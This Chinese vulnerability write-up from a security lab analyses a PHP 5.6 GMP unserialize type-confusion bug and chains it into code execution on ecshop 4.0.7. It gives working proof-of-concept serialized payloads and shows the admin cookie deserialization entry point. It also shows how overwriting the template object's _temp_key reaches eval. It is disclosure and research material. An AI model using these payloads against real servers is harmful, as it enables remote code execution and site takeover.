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从反序列化到类型混淆漏洞:记一次ecshop实例利用
2020-07-09 10:19:44

本文初完成于2020年3月31日,由于涉及到0day利用,所以于2020年3月31日报告厂商、CNVD漏洞平台,满足90天漏洞披露期,遂公开。

前几天偶然看到了一篇在Hackerone上提交的漏洞报告,在这个漏洞中,漏洞发现者提出了很有趣的利用,作者利用GMP的一个类型混淆漏洞,配合相应的利用链可以构造mybb的一次代码执行,这里我们就一起来看看这个漏洞。

https://hackerone.com/reports/198734

以下文章部分细节,感谢漏洞发现者@taoguangchen的帮助。

GMP类型混淆漏洞

https://bugs.php.net/bug.php?id=70513

漏洞利用条件

php 5.6.x

反序列化入口点

可以触发__wakeup的触发点(在php < 5.6.11以下,可以使用内置类)

漏洞详情

gmp.c

static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
    ...
    ALLOC_INIT_ZVAL(zv_ptr);
    if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
        || Z_TYPE_P(zv_ptr) != IS_ARRAY
    ) {
        zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
        goto exit;
    }

    if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
        zend_hash_copy(
            zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
            (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
        );
    }

zend_object_handlers.c

ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
    zend_object *zobj;
    zobj = Z_OBJ_P(object);
    if (!zobj->properties) {
        rebuild_object_properties(zobj);
    }
    return zobj->properties;
}

从gmp.c中的片段中我们可以大致理解漏洞发现者taoguangchen的原话。

__wakeup等魔术方法可以导致ZVAL在内存中被修改。因此,攻击者可以将**object转化为整数型或者bool型的ZVAL,那么我们就可以通过Z_OBJ_P访问存储在对象储存中的任何对象,这也就意味着可以通过zend_hash_copy覆盖任何对象中的属性,这可能导致很多问题,在一定场景下也可以导致安全问题。

或许仅凭借代码片段没办法理解上述的话,但我们可以用实际测试来看看。

首先我们来看一段测试代码

<?php

class obj
{
    var $ryat;

    function __wakeup()
    {
        $this->ryat = 1;
    }
}

class b{
    var $ryat =1;
}

$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;

$obj2 = new b;

$obj3 = new stdClass;
$obj3->aa =2;


$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);

$obj4 = new stdClass;

var_dump($x);
var_dump($obj);
var_dump($obj2);    
var_dump($obj3);
var_dump($obj4);

?>

在代码中我展示了多种不同情况下的环境。

让我们来看看结果是什么?

array(1) {
  [0]=>
  &int(1)
}
object(stdClass)#1 (3) {
  ["aa"]=>
  string(2) "hi"
  ["bb"]=>
  string(2) "hi"
  [0]=>
  object(obj)#5 (1) {
    ["ryat"]=>
    &int(1)
  }
}
object(b)#2 (1) {
  ["ryat"]=>
  int(1)
}
object(stdClass)#3 (1) {
  ["aa"]=>
  int(2)
}
object(stdClass)#4 (0) {
}

我成功修改了第一个声明的对象。

但如果我将反序列化的类改成b会发生什么呢?

$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:1:"b":1:{s:4:"ryat";R:2;}}';

很显然的是,并不会影响到其他的类变量

array(1) {
  [0]=>
  &object(GMP)#4 (4) {
    ["aa"]=>
    string(2) "hi"
    ["bb"]=>
    string(2) "hi"
    [0]=>
    object(b)#5 (1) {
      ["ryat"]=>
      &object(GMP)#4 (4) {
        ["aa"]=>
        string(2) "hi"
        ["bb"]=>
        string(2) "hi"
        [0]=>
        *RECURSION*
        ["num"]=>
        string(2) "32"
      }
    }
    ["num"]=>
    string(2) "32"
  }
}
object(stdClass)#1 (2) {
  ["aa"]=>
  int(1)
  ["bb"]=>
  int(2)
}
object(b)#2 (1) {
  ["ryat"]=>
  int(1)
}
object(stdClass)#3 (1) {
  ["aa"]=>
  int(2)
}
object(stdClass)#6 (0) {
}

如果我们给class b加一个__Wakeup函数,那么又会产生一样的效果。

但如果我们把wakeup魔术方法中的变量设置为2

class obj
{
    var $ryat;

    function __wakeup()
    {
        $this->ryat = 2;
    }
}

返回的结果可以看出来,我们成功修改了第二个声明的对象。

array(1) {
  [0]=>
  &int(2)
}
object(stdClass)#1 (2) {
  ["aa"]=>
  int(1)
  ["bb"]=>
  int(2)
}
object(b)#2 (4) {
  ["ryat"]=>
  int(1)
  ["aa"]=>
  string(2) "hi"
  ["bb"]=>
  string(2) "hi"
  [0]=>
  object(obj)#5 (1) {
    ["ryat"]=>
    &int(2)
  }
}
object(stdClass)#3 (1) {
  ["aa"]=>
  int(2)
}
object(stdClass)#4 (0) {
}

但如果我们把ryat改为4,那么页面会直接返回500,因为我们修改了没有分配的对象空间。

在完成前面的试验后,我们可以把漏洞的利用条件简化一下。

如果我们有一个可控的反序列化入口,目标后端PHP安装了GMP插件(这个插件在原版php中不是默认安装的,但部分打包环境中会自带),如果我们找到一个可控的__wakeup魔术方法,我们就可以修改反序列化前声明的对象属性,并配合场景产生实际的安全问题。

如果目标的php版本在5.6 <= 5.6.11中,我们可以直接使用内置的魔术方法来触发这个漏洞。

var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));

真实世界案例

在讨论完GMP类型混淆漏洞之后,我们必须要讨论一下这个漏洞在真实场景下的利用方式。

漏洞的发现者Taoguang Chen提交了一个在mybb中的相关利用。

https://hackerone.com/reports/198734

这里我们不继续讨论这个漏洞,而是从头讨论一下在ecshop中的利用方式。

漏洞环境

ecshop 4.0.7

php 5.6.9

反序列化漏洞

首先我们需要找到一个反序列化入口点,这里我们可以全局搜索unserialize,挨个看一下我们可以找到两个可控的反序列化入口。

其中一个是search.php line 45

...
{
    $string = base64_decode(trim($_GET['encode']));

    if ($string !== false)
    {
        $string = unserialize($string);
        if ($string !== false)
...

这是一个前台的入口,但可惜的是引入初始化文件在反序列化之后,这也就导致我们没办法找到可以覆盖类变量属性的目标,也就没办法进一步利用。

还有一个是admin/order.php line 229

    /* 取得上一个、下一个订单号 */
    if (!empty($_COOKIE['ECSCP']['lastfilter']))
    {
        $filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));

       ...

后台的表单页的这个功能就满足我们的要求了,不但可控,还可以用urlencode来绕过ecshop对全局变量的过滤。

这样一来我们就找到了一个可控并且合适的反序列化入口点。

寻找合适的类属性利用链。在寻找利用链之前,我们可以用

get_declared_classes()

来确定在反序列化时,已经声明定义过的类。

在我本地环境下,除了PHP内置类以外我一共找到13个类

  [129]=>
  string(3) "ECS"
  [130]=>
  string(9) "ecs_error"
  [131]=>
  string(8) "exchange"
  [132]=>
  string(9) "cls_mysql"
  [133]=>
  string(11) "cls_session"
  [134]=>
  string(12) "cls_template"
  [135]=>
  string(11) "certificate"
  [136]=>
  string(6) "oauth2"
  [137]=>
  string(15) "oauth2_response"
  [138]=>
  string(14) "oauth2_request"
  [139]=>
  string(9) "transport"
  [140]=>
  string(6) "matrix"
  [141]=>
  string(16) "leancloud_client"

从代码中也可以看到在文件头引入了多个库文件

require(dirname(__FILE__) . '/includes/init.php');
require_once(ROOT_PATH . 'includes/lib_order.php');
require_once(ROOT_PATH . 'includes/lib_goods.php');
require_once(ROOT_PATH . 'includes/cls_matrix.php');
include_once(ROOT_PATH . 'includes/cls_certificate.php');
require('leancloud_push.php');

这里我们主要关注init.php,因为在这个文件中声明了ecshop的大部分通用类。

在逐个看这里面的类变量时,我们可以敏锐的看到一个特殊的变量,由于ecshop的后台结构特殊,页面内容大多都是由模板编译而成,而这个模板类恰好也在init.php中声明

require(ROOT_PATH . 'includes/cls_template.php');
$smarty = new cls_template;

回到order.php中我们寻找与$smarty相关的方法,不难发现,主要集中在两个方法中

...
    $smarty->assign('shipping', $shipping);

    $smarty->display('print.htm');
...

而这里我们主要把视角集中在display方法上。

粗略的浏览下display方法的逻辑大致是

请求相应的模板文件
-->
经过一系列判断,将相应的模板文件做相应的编译
-->
输出编译后的文件地址

比较重要的代码会在make_compiled这个函数中被定义

function make_compiled($filename)
    {
        $name = $this->compile_dir . '/' . basename($filename) . '.php';

        ...

        if ($this->force_compile || $filestat['mtime'] > $expires)
        {
            $this->_current_file = $filename;
            $source = $this->fetch_str(file_get_contents($filename));

            if (file_put_contents($name, $source, LOCK_EX) === false)
            {
                trigger_error('can\'t write:' . $name);
            }

            $source = $this->_eval($source);
        }

        return $source;
    }

当流程走到这一步的时候,我们需要先找到我们的目标是什么?

重新审视cls_template.php的代码,我们可以发现涉及到代码执行的只有几个函数。

   function get_para($val, $type = 1) // 处理insert外部函数/需要include运行的函数的调用数据
    {
        $pa = $this->str_trim($val);
        foreach ($pa AS $value)
        {
            if (strrpos($value, '='))
            {
                list($a, $b) = explode('=', str_replace(array(' ', '"', "'", '&quot;'), '', $value));
                if ($b{0} == '$')
                {
                    if ($type)
                    {
                        eval('$para[\'' . $a . '\']=' . $this->get_val(substr($b, 1)) . ';');
                    }
                    else
                    {
                        $para[$a] = $this->get_val(substr($b, 1));
                    }
                }
                else
                {
                    $para[$a] = $b;
                }
            }
        }

        return $para;
    }

get_para只在select中调用,但是没找到能触发select的地方。

然后是pop_vars

    function pop_vars()
    {
        $key = array_pop($this->_temp_key);
        $val = array_pop($this->_temp_val);

        if (!empty($key))
        {
            eval($key);
        }
    }

恰好配合GMP我们可以控制$this->_temp_key变量,所以我们只要能在上面的流程中找到任意地方调用这个方法,我们就可以配合变量覆盖构造一个代码执行。

在回看刚才的代码流程时,我们从编译后的PHP文件中找到了这样的代码

order_info.htm.php

  <?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>

在遍历完表单之后,正好会触发pop_vars

这样一来,只要我们控制覆盖cls_template变量的_temp_key属性,我们就可以完成一次getshell

最终利用效果

Timeline

2020.03.31 发现漏洞。

2020.03.31 将漏洞报送厂商、CVE、CNVD等。

2020.07.08 符合90天漏洞披露期,公开细节。

作者:LoRexxar'@知道创宇404实验室

English Version: https://paper.seebug.org/1268

中文链接:https://paper.seebug.org/1267/

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